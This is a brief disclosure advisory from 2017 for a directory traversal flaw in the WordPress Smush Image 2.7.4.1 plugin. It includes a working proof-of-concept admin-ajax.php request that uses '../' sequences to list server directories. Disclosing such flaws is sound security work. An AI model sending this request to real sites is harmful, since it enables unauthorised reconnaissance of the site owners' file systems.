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WordPress Smush Image 2.7.4.1 Directory Traversal

Posted on 04 October 2017

Class File transversal
Remote Yes
Credit Ricardo Sanchez

Smush Image Wordpress WP plugin is prone to file transversal vulnerability
because it fails to sufficiently folders privacy.

To exploit this issue following steps:

Demo url:
http://localhost/wordpress/wp-admin/admin-ajax.php?dir=../../../../../../&multiSelect=true&action=smush_get_directory_list&list_nonce=xxxxxxx

Confirm:
https://wordpress.org/support/topic/file-transversal-bug/#post-9554401

 

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